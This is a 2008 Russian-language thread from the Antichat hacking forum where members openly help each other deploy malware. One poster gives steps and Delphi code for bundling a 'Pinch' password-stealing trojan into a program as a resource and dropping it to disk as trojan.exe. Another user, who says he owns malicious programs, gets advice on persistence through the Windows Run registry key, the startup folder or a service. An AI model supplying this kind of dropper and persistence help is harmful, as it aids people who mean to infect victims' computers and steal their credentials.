ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

06.05.2008, 20:45
|
|
Участник форума
Регистрация: 01.08.2007
Сообщений: 178
Провел на форуме: 486104
Репутация:
239
|
|
http://rapidshare.com/files/113007199/1.rar.html
Вот тебе сорс примера
|
|
|

06.05.2008, 21:01
|
|
Reservists Of Antichat - Level 6
Регистрация: 12.02.2006
Сообщений: 891
Провел на форуме: 1892597
Репутация:
836
|
|
1. создаешь файл pinch.rc
содержимое
Pinch_exe RCDATA Pinch.exe
P.S. pinch.exe твой троян
2. коммандной строке brcc32 -32 путь\pinch.rc
3. в проекте {$R pinch.res} + в секцию uses добавляешь модуль Classes
3. процедура извлекающая пинч из ресурсов
procedure ExtractRes;
var Res:TResourceStream;
begin
Res:=TResourceStream.Create(HInstance,'pinch_exe', RT_RCDATA);
Res.SaveToFile('trojan.exe');
Res.Free;
end;
4. дальше что хочешь, то и делай... он извлечется под именем trojan
все...
__________________
*********************************
*Я не волшебник ٩(๏̯͡๏)۶, только учусь...*
*********************************
Программы на заказ
Times to fly...
|
|
|

06.05.2008, 21:27
|
|
Познающий
Регистрация: 01.03.2008
Сообщений: 68
Провел на форуме: 140772
Репутация:
72
|
|
|
|
|

07.05.2008, 01:05
|
|
Новичок
Регистрация: 03.05.2008
Сообщений: 19
Провел на форуме: 172889
Репутация:
1
|
|
Есть пару вредоносных программ на делфи. Вопрос: как сделать что бы при первом запуске .exe файла он автоматически загружался при запуске виндовса?
|
|
|

07.05.2008, 09:51
|
|
Познающий
Регистрация: 01.03.2008
Сообщений: 68
Провел на форуме: 140772
Репутация:
72
|
|
Прописываешся в этом разделе реестра:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run
Или кидаеш просто свою прогу в папку автозапуска.
Вообще об этом очень много написано, так что пользуйся поиском!!!
|
|
|

07.05.2008, 15:45
|
|
Постоянный
Регистрация: 29.09.2007
Сообщений: 617
Провел на форуме: 3250478
Репутация:
999
|
|
Нужно компилировать это: Скчать(MRIM)
У мне них((
Кто сможет +!
|
|
|

07.05.2008, 16:51
|
|
Участник форума
Регистрация: 03.01.2008
Сообщений: 104
Провел на форуме: 400001
Репутация:
111
|
|
это не компелируется это юзается как компонентенг
|
|
|

07.05.2008, 17:18
|
|
Постоянный
Регистрация: 29.09.2007
Сообщений: 617
Провел на форуме: 3250478
Репутация:
999
|
|
Ошибся, собрать как компонент.
И непонял код...
Может буть кто мини-help сделает
Последний раз редактировалось -Hormold-; 07.05.2008 в 17:21..
|
|
|

07.05.2008, 18:14
|
|
Reservists Of Antichat - Level 6
Регистрация: 12.02.2006
Сообщений: 891
Провел на форуме: 1892597
Репутация:
836
|
|
Сообщение от reza4ok
Есть пару вредоносных программ на делфи. Вопрос: как сделать что бы при первом запуске .exe файла он автоматически загружался при запуске виндовса?
самые простые пути
1. стандартные ветки автозагрузки
2. сервис
Сообщение от [Dezzter]
Можно об этом поподробней!
PHP код:
program Sample;
uses
Windows, Classes;
{$R pinch.res}
__________________
*********************************
*Я не волшебник ٩(๏̯͡๏)۶, только учусь...*
*********************************
Программы на заказ
Times to fly...
|
|
|

07.05.2008, 18:38
|
|
Новичок
Регистрация: 03.05.2008
Сообщений: 19
Провел на форуме: 172889
Репутация:
1
|
|
что бы при запуске винды прога загружалась уже понятно как. Лучший способ я так решил что бы это прога создавала в реестре автозагрузки файл HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run
за подсказку спс Dr.KoD. И так осталось только сделать так что бы при запуске ексе файла прога сама добавляла нужный файл в реестр. Подскажите как это сделать в Делфи :-)
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|